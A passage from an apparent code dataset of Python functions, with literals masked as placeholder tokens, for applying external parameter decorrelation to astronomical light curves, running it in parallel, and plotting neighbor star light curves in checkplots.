True, will indicate progress while working.\n\n    maxobjects : int\n        The total number of objects to process from `pfpkl_list`.\n\n    nworkers : int\n        The number of parallel workers to launch to process the input.\n\n    Returns\n    -------\n\n    dict\n        A dict containing key: val pairs of the input period-finder result and\n        the output periodic feature result pickles for each input pickle is\n        returned.", "id": "f14698:m5"}
{"signature": "def apply_epd_magseries(lcfile,<EOL>timecol,<EOL>magcol,<EOL>errcol,<EOL>externalparams,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>epdsmooth_sigclip=<NUM_LIT>,<EOL>epdsmooth_windowsize=<NUM_LIT>,<EOL>epdsmooth_func=smooth_magseries_savgol,<EOL>epdsmooth_extraparams=None):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>lcdict = readerfunc(lcfile)<EOL>if ((isinstance(lcdict, (tuple, list))) and<EOL>isinstance(lcdict[<NUM_LIT:0>], dict)):<EOL><INDENT>lcdict = lcdict[<NUM_LIT:0>]<EOL><DEDENT>objectid = lcdict['<STR_LIT>']<EOL>times, mags, errs = lcdict[timecol], lcdict[magcol], lcdict[errcol]<EOL>if externalparams is not None:<EOL><INDENT>fsv = lcdict[externalparams['<STR_LIT>']]<EOL>fdv = lcdict[externalparams['<STR_LIT>']]<EOL>fkv = lcdict[externalparams['<STR_LIT>']]<EOL>xcc = lcdict[externalparams['<STR_LIT>']]<EOL>ycc = lcdict[externalparams['<STR_LIT>']]<EOL>bgv = lcdict[externalparams['<STR_LIT>']]<EOL>bge = lcdict[externalparams['<STR_LIT>']]<EOL>iha = lcdict[externalparams['<STR_LIT>']]<EOL>izd = lcdict[externalparams['<STR_LIT>']]<EOL><DEDENT>else:<EOL><INDENT>fsv = lcdict['<STR_LIT>']<EOL>fdv = lcdict['<STR_LIT>']<EOL>fkv = lcdict['<STR_LIT>']<EOL>xcc = lcdict['<STR_LIT>']<EOL>ycc = lcdict['<STR_LIT>']<EOL>bgv = lcdict['<STR_LIT>']<EOL>bge = lcdict['<STR_LIT>']<EOL>iha = lcdict['<STR_LIT>']<EOL>izd = lcdict['<STR_LIT>']<EOL><DEDENT>epd = epd_magseries(<EOL>times,<EOL>mags,<EOL>errs,<EOL>fsv, fdv, fkv, xcc, ycc, bgv, bge, iha, izd,<EOL>magsarefluxes=magsarefluxes,<EOL>epdsmooth_sigclip=epdsmooth_sigclip,<EOL>epdsmooth_windowsize=epdsmooth_windowsize,<EOL>epdsmooth_func=epdsmooth_func,<EOL>epdsmooth_extraparams=epdsmooth_extraparams<EOL>)<EOL>lcdict['<STR_LIT>'] = epd<EOL>outfile = os.path.join(<EOL>os.path.dirname(lcfile),<EOL>'<STR_LIT>' % (<EOL>squeeze(objectid).replace('<STR_LIT:U+0020>','<STR_LIT:->'),<EOL>magcol<EOL>)<EOL>)<EOL>with open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(lcdict, outfd,<EOL>protocol=pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return outfile<EOL>", "docstring": "This applies external parameter decorrelation (EPD) to a light curve.\n\n    Parameters\n    ----------\n\n    lcfile : str\n        The filename of the light curve file to process.\n\n    timecol,magcol,errcol : str\n        The keys in the lcdict produced by your light curve reader function that\n        correspond to the times, mags/fluxes, and associated measurement errors\n        that will be used as input to the EPD process.\n\n    externalparams : dict or None\n        This is a dict that indicates which keys in the lcdict obtained from the\n        lcfile correspond to the required external parameters. As with timecol,\n        magcol, and errcol, these can be simple keys (e.g. 'rjd') or compound\n        keys ('magaperture1.mags'). The dict should look something like::\n\n          {'fsv':'<lcdict key>' array: S values for each observation,\n           'fdv':'<lcdict key>' array: D values for each observation,\n           'fkv':'<lcdict key>' array: K values for each observation,\n           'xcc':'<lcdict key>' array: x coords for each observation,\n           'ycc':'<lcdict key>' array: y coords for each observation,\n           'bgv':'<lcdict key>' array: sky background for each observation,\n           'bge':'<lcdict key>' array: sky background err for each observation,\n           'iha':'<lcdict key>' array: hour angle for each observation,\n           'izd':'<lcdict key>' array: zenith distance for each observation}\n\n        Alternatively, if these exact keys are already present in the lcdict,\n        indicate this by setting externalparams to None.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    epdsmooth_sigclip : float or int or sequence of two floats/ints or None\n        This specifies how to sigma-clip the input LC before fitting the EPD\n        function to it.\n\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    epdsmooth_windowsize : int\n        This is the number of LC points to smooth over to generate a smoothed\n        light curve that will be used to fit the EPD function.\n\n    epdsmooth_func : Python function\n        This sets the smoothing filter function to use. A Savitsky-Golay filter\n        is used to smooth the light curve by default. The functions that can be\n        used with this kwarg are listed in `varbase.trends`. If you want to use\n        your own function, it MUST have the following signature::\n\n                def smoothfunc(mags_array, window_size, **extraparams)\n\n        and return a numpy array of the same size as `mags_array` with the\n        smoothed time-series. Any extra params can be provided using the\n        `extraparams` dict.\n\n    epdsmooth_extraparams : dict\n        This is a dict of any extra filter params to supply to the smoothing\n        function.\n\n    Returns\n    -------\n\n    str\n        Writes the output EPD light curve to a pickle that contains the lcdict\n        with an added `lcdict['epd']` key, which contains the EPD times,\n        mags/fluxes, and errs as `lcdict['epd']['times']`,\n        `lcdict['epd']['mags']`, and `lcdict['epd']['errs']`. Returns the\n        filename of this generated EPD LC pickle file.\n\n    Notes\n    -----\n\n    - S -> measure of PSF sharpness (~1/sigma^2 sosmaller S = wider PSF)\n    - D -> measure of PSF ellipticity in xy direction\n    - K -> measure of PSF ellipticity in cross direction\n\n    S, D, K are related to the PSF's variance and covariance, see eqn 30-33 in\n    A. Pal's thesis: https://arxiv.org/abs/0906.3486", "id": "f14699:m1"}
{"signature": "def parallel_epd_worker(task):", "body": "(lcfile, timecol, magcol, errcol,<EOL>externalparams, lcformat, lcformatdir, magsarefluxes,<EOL>epdsmooth_sigclip, epdsmooth_windowsize,<EOL>epdsmooth_func, epdsmooth_extraparams) = task<EOL>try:<EOL><INDENT>epd = apply_epd_magseries(lcfile,<EOL>timecol,<EOL>magcol,<EOL>errcol,<EOL>externalparams,<EOL>lcformat=lcformat,<EOL>lcformatdir=lcformatdir,<EOL>epdsmooth_sigclip=epdsmooth_sigclip,<EOL>epdsmooth_windowsize=epdsmooth_windowsize,<EOL>epdsmooth_func=epdsmooth_func,<EOL>epdsmooth_extraparams=epdsmooth_extraparams)<EOL>if epd is not None:<EOL><INDENT>LOGINFO('<STR_LIT>' % (lcfile, epd))<EOL>return epd<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % lcfile)<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % lcfile)<EOL>return None<EOL><DEDENT>", "docstring": "This is a parallel worker for the function below.\n\n    Parameters\n    ----------\n\n    task : tuple\n        - task[0] = lcfile\n        - task[1] = timecol\n        - task[2] = magcol\n        - task[3] = errcol\n        - task[4] = externalparams\n        - task[5] = lcformat\n        - task[6] = lcformatdir\n        - task[7] = epdsmooth_sigclip\n        - task[8] = epdsmooth_windowsize\n        - task[9] = epdsmooth_func\n        - task[10] = epdsmooth_extraparams\n\n    Returns\n    -------\n\n    str or None\n        If EPD succeeds for an input LC, returns the filename of the output EPD\n        LC pickle file. If it fails, returns None.", "id": "f14699:m2"}
{"signature": "def parallel_epd_lclist(lclist,<EOL>externalparams,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>epdsmooth_sigclip=<NUM_LIT>,<EOL>epdsmooth_windowsize=<NUM_LIT>,<EOL>epdsmooth_func=smooth_magseries_savgol,<EOL>epdsmooth_extraparams=None,<EOL>nworkers=NCPUS,<EOL>maxworkertasks=<NUM_LIT:1000>):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(fileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if timecols is None:<EOL><INDENT>timecols = dtimecols<EOL><DEDENT>if magcols is None:<EOL><INDENT>magcols = dmagcols<EOL><DEDENT>if errcols is None:<EOL><INDENT>errcols = derrcols<EOL><DEDENT>outdict = {}<EOL>for t, m, e in zip(timecols, magcols, errcols):<EOL><INDENT>tasks = [(x, t, m, e, externalparams, lcformat, lcformatdir,<EOL>epdsmooth_sigclip, epdsmooth_windowsize,<EOL>epdsmooth_func, epdsmooth_extraparams) for<EOL>x in lclist]<EOL>pool = mp.Pool(nworkers, maxtasksperchild=maxworkertasks)<EOL>results = pool.map(parallel_epd_worker, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>outdict[m] = results<EOL><DEDENT>return outdict<EOL>", "docstring": "This applies EPD in parallel to all LCs in the input list.\n\n    Parameters\n    ----------\n\n    lclist : list of str\n        This is the list of light curve files to run EPD on.\n\n    externalparams : dict or None\n        This is a dict that indicates which keys in the lcdict obtained from the\n        lcfile correspond to the required external parameters. As with timecol,\n        magcol, and errcol, these can be simple keys (e.g. 'rjd') or compound\n        keys ('magaperture1.mags'). The dict should look something like::\n\n          {'fsv':'<lcdict key>' array: S values for each observation,\n           'fdv':'<lcdict key>' array: D values for each observation,\n           'fkv':'<lcdict key>' array: K values for each observation,\n           'xcc':'<lcdict key>' array: x coords for each observation,\n           'ycc':'<lcdict key>' array: y coords for each observation,\n           'bgv':'<lcdict key>' array: sky background for each observation,\n           'bge':'<lcdict key>' array: sky background err for each observation,\n           'iha':'<lcdict key>' array: hour angle for each observation,\n           'izd':'<lcdict key>' array: zenith distance for each observation}\n\n        Alternatively, if these exact keys are already present in the lcdict,\n        indicate this by setting externalparams to None.\n\n    timecols,magcols,errcols : lists of str\n        The keys in the lcdict produced by your light curve reader function that\n        correspond to the times, mags/fluxes, and associated measurement errors\n        that will be used as inputs to the EPD process. If these are None, the\n        default values for `timecols`, `magcols`, and `errcols` for your light\n        curve format will be used here.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curve files.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    epdsmooth_sigclip : float or int or sequence of two floats/ints or None\n        This specifies how to sigma-clip the input LC before fitting the EPD\n        function to it.\n\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    epdsmooth_windowsize : int\n        This is the number of LC points to smooth over to generate a smoothed\n        light curve that will be used to fit the EPD function.\n\n    epdsmooth_func : Python function\n        This sets the smoothing filter function to use. A Savitsky-Golay filter\n        is used to smooth the light curve by default. The functions that can be\n        used with this kwarg are listed in `varbase.trends`. If you want to use\n        your own function, it MUST have the following signature::\n\n                def smoothfunc(mags_array, window_size, **extraparams)\n\n        and return a numpy array of the same size as `mags_array` with the\n        smoothed time-series. Any extra params can be provided using the\n        `extraparams` dict.\n\n    epdsmooth_extraparams : dict\n        This is a dict of any extra filter params to supply to the smoothing\n        function.\n\n    nworkers : int\n        The number of parallel workers to launch when processing the LCs.\n\n    maxworkertasks : int\n        The maximum number of tasks a parallel worker will complete before it is\n        replaced with a new one (sometimes helps with memory-leaks).\n\n    Returns\n    -------\n\n    dict\n        Returns a dict organized by all the keys in the input `magcols` list,\n        containing lists of EPD pickle light curves for that `magcol`.\n\n    Notes\n    -----\n\n    - S -> measure of PSF sharpness (~1/sigma^2 sosmaller S = wider PSF)\n    - D -> measure of PSF ellipticity in xy direction\n    - K -> measure of PSF ellipticity in cross direction\n\n    S, D, K are related to the PSF's variance and covariance, see eqn 30-33 in\n    A. Pal's thesis: https://arxiv.org/abs/0906.3486", "id": "f14699:m3"}
{"signature": "def parallel_epd_lcdir(<EOL>lcdir,<EOL>externalparams,<EOL>lcfileglob=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>epdsmooth_sigclip=<NUM_LIT>,<EOL>epdsmooth_windowsize=<NUM_LIT>,<EOL>epdsmooth_func=smooth_magseries_savgol,<EOL>epdsmooth_extraparams=None,<EOL>nworkers=NCPUS,<EOL>maxworkertasks=<NUM_LIT:1000><EOL>):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(fileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if lcfileglob is None:<EOL><INDENT>lcfileglob = fileglob<EOL><DEDENT>lclist = sorted(glob.glob(os.path.join(lcdir, lcfileglob)))<EOL>return parallel_epd_lclist(<EOL>lclist,<EOL>externalparams,<EOL>timecols=timecols,<EOL>magcols=magcols,<EOL>errcols=errcols,<EOL>lcformat=lcformat,<EOL>epdsmooth_sigclip=epdsmooth_sigclip,<EOL>epdsmooth_windowsize=epdsmooth_windowsize,<EOL>epdsmooth_func=epdsmooth_func,<EOL>epdsmooth_extraparams=epdsmooth_extraparams,<EOL>nworkers=nworkers,<EOL>maxworkertasks=maxworkertasks<EOL>)<EOL>", "docstring": "This applies EPD in parallel to all LCs in a directory.\n\n    Parameters\n    ----------\n\n    lcdir : str\n        The light curve directory to process.\n\n    externalparams : dict or None\n        This is a dict that indicates which keys in the lcdict obtained from the\n        lcfile correspond to the required external parameters. As with timecol,\n        magcol, and errcol, these can be simple keys (e.g. 'rjd') or compound\n        keys ('magaperture1.mags'). The dict should look something like::\n\n          {'fsv':'<lcdict key>' array: S values for each observation,\n           'fdv':'<lcdict key>' array: D values for each observation,\n           'fkv':'<lcdict key>' array: K values for each observation,\n           'xcc':'<lcdict key>' array: x coords for each observation,\n           'ycc':'<lcdict key>' array: y coords for each observation,\n           'bgv':'<lcdict key>' array: sky background for each observation,\n           'bge':'<lcdict key>' array: sky background err for each observation,\n           'iha':'<lcdict key>' array: hour angle for each observation,\n           'izd':'<lcdict key>' array: zenith distance for each observation}\n\n    lcfileglob : str or None\n        A UNIX fileglob to use to select light curve files in `lcdir`. If this\n        is not None, the value provided will override the default fileglob for\n        your light curve format.\n\n    timecols,magcols,errcols : lists of str\n        The keys in the lcdict produced by your light curve reader function that\n        correspond to the times, mags/fluxes, and associated measurement errors\n        that will be used as inputs to the EPD process. If these are None, the\n        default values for `timecols`, `magcols`, and `errcols` for your light\n        curve format will be used here.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    epdsmooth_sigclip : float or int or sequence of two floats/ints or None\n        This specifies how to sigma-clip the input LC before fitting the EPD\n        function to it.\n\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    epdsmooth_windowsize : int\n        This is the number of LC points to smooth over to generate a smoothed\n        light curve that will be used to fit the EPD function.\n\n    epdsmooth_func : Python function\n        This sets the smoothing filter function to use. A Savitsky-Golay filter\n        is used to smooth the light curve by default. The functions that can be\n        used with this kwarg are listed in `varbase.trends`. If you want to use\n        your own function, it MUST have the following signature::\n\n                def smoothfunc(mags_array, window_size, **extraparams)\n\n        and return a numpy array of the same size as `mags_array` with the\n        smoothed time-series. Any extra params can be provided using the\n        `extraparams` dict.\n\n    epdsmooth_extraparams : dict\n        This is a dict of any extra filter params to supply to the smoothing\n        function.\n\n    nworkers : int\n        The number of parallel workers to launch when processing the LCs.\n\n    maxworkertasks : int\n        The maximum number of tasks a parallel worker will complete before it is\n        replaced with a new one (sometimes helps with memory-leaks).\n\n    Returns\n    -------\n\n    dict\n        Returns a dict organized by all the keys in the input `magcols` list,\n        containing lists of EPD pickle light curves for that `magcol`.\n\n    Notes\n    -----\n\n    - S -> measure of PSF sharpness (~1/sigma^2 sosmaller S = wider PSF)\n    - D -> measure of PSF ellipticity in xy direction\n    - K -> measure of PSF ellipticity in cross direction\n\n    S, D, K are related to the PSF's variance and covariance, see eqn 30-33 in\n    A. Pal's thesis: https://arxiv.org/abs/0906.3486", "id": "f14699:m4"}
{"signature": "def update_checkplotdict_nbrlcs(<EOL>checkplotdict,<EOL>timecol, magcol, errcol,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>verbose=True,<EOL>):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return checkplotdict<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return checkplotdict<EOL><DEDENT>if not ('<STR_LIT>' in checkplotdict and<EOL>checkplotdict['<STR_LIT>'] and<EOL>len(checkplotdict['<STR_LIT>']) > <NUM_LIT:0>):<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>(checkplotdict['<STR_LIT>']))<EOL>return checkplotdict<EOL><DEDENT>objmagkeys = {}<EOL>if '<STR_LIT>' in checkplotdict['<STR_LIT>']:<EOL><INDENT>mclist = checkplotdict['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>mclist = ('<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>')<EOL><DEDENT>for mc in mclist:<EOL><INDENT>if (mc in checkplotdict['<STR_LIT>'] and<EOL>checkplotdict['<STR_LIT>'][mc] is not None and<EOL>np.isfinite(checkplotdict['<STR_LIT>'][mc])):<EOL><INDENT>objmagkeys[mc] = checkplotdict['<STR_LIT>'][mc]<EOL><DEDENT><DEDENT>for nbr in checkplotdict['<STR_LIT>']:<EOL><INDENT>objectid, lcfpath = (nbr['<STR_LIT>'],<EOL>nbr['<STR_LIT>'])<EOL>if not os.path.exists(lcfpath):<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(checkplotdict['<STR_LIT>'], objectid, lcfpath))<EOL>continue<EOL><DEDENT>lcdict = readerfunc(lcfpath)<EOL>if ( (isinstance(lcdict, (list, tuple))) and<EOL>(isinstance(lcdict[<NUM_LIT:0>], dict)) ):<EOL><INDENT>lcdict = lcdict[<NUM_LIT:0>]<EOL><DEDENT>nbrmagkeys = {}<EOL>for mc in objmagkeys:<EOL><INDENT>if (('<STR_LIT>' in lcdict) and<EOL>(isinstance(lcdict['<STR_LIT>'], dict)) and<EOL>(mc in lcdict['<STR_LIT>']) and<EOL>(lcdict['<STR_LIT>'][mc] is not None) and<EOL>(np.isfinite(lcdict['<STR_LIT>'][mc]))):<EOL><INDENT>nbrmagkeys[mc] = lcdict['<STR_LIT>'][mc]<EOL><DEDENT><DEDENT>magdiffs = {}<EOL>for omc in objmagkeys:<EOL><INDENT>if omc in nbrmagkeys:<EOL><INDENT>magdiffs[omc] = objmagkeys[omc] - nbrmagkeys[omc]<EOL><DEDENT><DEDENT>colordiffs = {}<EOL>for ctrio in (['<STR_LIT>','<STR_LIT>','<STR_LIT>'],<EOL>['<STR_LIT>','<STR_LIT>','<STR_LIT>'],<EOL>['<STR_LIT>','<STR_LIT>','<STR_LIT>'],<EOL>['<STR_LIT>','<STR_LIT>','<STR_LIT>'],<EOL>['<STR_LIT>','<STR_LIT>','<STR_LIT>'],<EOL>['<STR_LIT>','<STR_LIT>','<STR_LIT>']):<EOL><INDENT>m1, m2, color = ctrio<EOL>if (m1 in objmagkeys and<EOL>m2 in objmagkeys and<EOL>m1 in nbrmagkeys and<EOL>m2 in nbrmagkeys):<EOL><INDENT>objcolor = objmagkeys[m1] - objmagkeys[m2]<EOL>nbrcolor = nbrmagkeys[m1] - nbrmagkeys[m2]<EOL>colordiffs[color] = objcolor - nbrcolor<EOL><DEDENT><DEDENT>nbr.update({'<STR_LIT>':magdiffs,<EOL>'<STR_LIT>':colordiffs})<EOL>if normfunc is not None:<EOL><INDENT>lcdict = normfunc(lcdict)<EOL><DEDENT>try:<EOL><INDENT>if '<STR_LIT:.>' in timecol:<EOL><INDENT>timecolget = timecol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>timecolget = [timecol]<EOL><DEDENT>times = _dict_get(lcdict, timecolget)<EOL>if '<STR_LIT:.>' in magcol:<EOL><INDENT>magcolget = magcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>magcolget = [magcol]<EOL><DEDENT>mags = _dict_get(lcdict, magcolget)<EOL>if '<STR_LIT:.>' in errcol:<EOL><INDENT>errcolget = errcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>errcolget = [errcol]<EOL><DEDENT>errs = _dict_get(lcdict, errcolget)<EOL><DEDENT>except KeyError:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(objectid, checkplotdict['<STR_LIT>'],<EOL>'<STR_LIT:U+002CU+0020>'.join([timecol, magcol, errcol])))<EOL>continue<EOL><DEDENT>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=<NUM_LIT>)<EOL>if normfunc is None:<EOL><INDENT>ntimes, nmags = normalize_magseries(<EOL>stimes, smags,<EOL>magsarefluxes=magsarefluxes<EOL>)<EOL>xtimes, xmags, xerrs = ntimes, nmags, serrs<EOL><DEDENT>else:<EOL><INDENT>xtimes, xmags, xerrs = stimes, smags, serrs<EOL><DEDENT>if ((xtimes is None) or (xmags is None) or (xerrs is None) or<EOL>(xtimes.size < <NUM_LIT>) or (xmags.size < <NUM_LIT>) or (xerrs.size < <NUM_LIT>)):<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(checkplotdict['<STR_LIT>'],<EOL>nbr['<STR_LIT>'],<EOL>nbr['<STR_LIT>']))<EOL>continue<EOL><DEDENT>nbrdict = _pkl_magseries_plot(xtimes,<EOL>xmags,<EOL>xerrs,<EOL>magsarefluxes=magsarefluxes)<EOL>nbr.update(nbrdict)<EOL>if '<STR_LIT>' in checkplotdict:<EOL><INDENT>pfmethods = checkplotdict['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>pfmethods = []<EOL>for cpkey in checkplotdict:<EOL><INDENT>for pfkey in PFMETHODS:<EOL><INDENT>if pfkey in cpkey:<EOL><INDENT>pfmethods.append(pfkey)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>for lspt in pfmethods:<EOL><INDENT>nbr[lspt] = {}<EOL>operiod, oepoch = (checkplotdict[lspt][<NUM_LIT:0>]['<STR_LIT>'],<EOL>checkplotdict[lspt][<NUM_LIT:0>]['<STR_LIT>'])<EOL>(ophasewrap, ophasesort, ophasebin,<EOL>ominbinelems, oplotxlim) = (<EOL>checkplotdict[lspt][<NUM_LIT:0>]['<STR_LIT>'],<EOL>checkplotdict[lspt][<NUM_LIT:0>]['<STR_LIT>'],<EOL>checkplotdict[lspt][<NUM_LIT:0>]['<STR_LIT>'],<EOL>checkplotdict[lspt][<NUM_LIT:0>]['<STR_LIT>'],<EOL>checkplotdict[lspt][<NUM_LIT:0>]['<STR_LIT>'],<EOL>)<EOL>nbr = _pkl_phased_magseries_plot(<EOL>nbr,<EOL>lspt.split('<STR_LIT:->')[<NUM_LIT:1>],  <EOL><NUM_LIT:0>,<EOL>xtimes, xmags, xerrs,<EOL>operiod, oepoch,<EOL>phasewrap=ophasewrap,<EOL>phasesort=ophasesort,<EOL>phasebin=ophasebin,<EOL>minbinelems=ominbinelems,<EOL>plotxlim=oplotxlim,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose,<EOL>override_pfmethod=lspt<EOL>)<EOL><DEDENT><DEDENT>return checkplotdict<EOL>", "docstring": "For all neighbors in a checkplotdict, make LCs and phased LCs.\n\n    Parameters\n    ----------\n\n    checkplotdict : dict\n        This is the checkplot to process. The light curves for the neighbors to\n        the object here will be extracted from the stored file paths, and this\n        function will make plots of these time-series. If the object has 'best'\n        periods and epochs generated by period-finder functions in this\n        checkplotdict, phased light curve plots of each neighbor will be made\n        using these to check the effects of blending.\n\n    timecol,magcol,errcol : str\n        The timecol, magcol, and errcol keys used to generate this object's\n        checkplot. This is used to extract the correct times-series from the\n        neighbors' light curves.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    Returns\n    -------\n\n    dict\n        The input checkplotdict is returned with the neighor light curve plots\n        added in.", "id": "f14700:m1"}
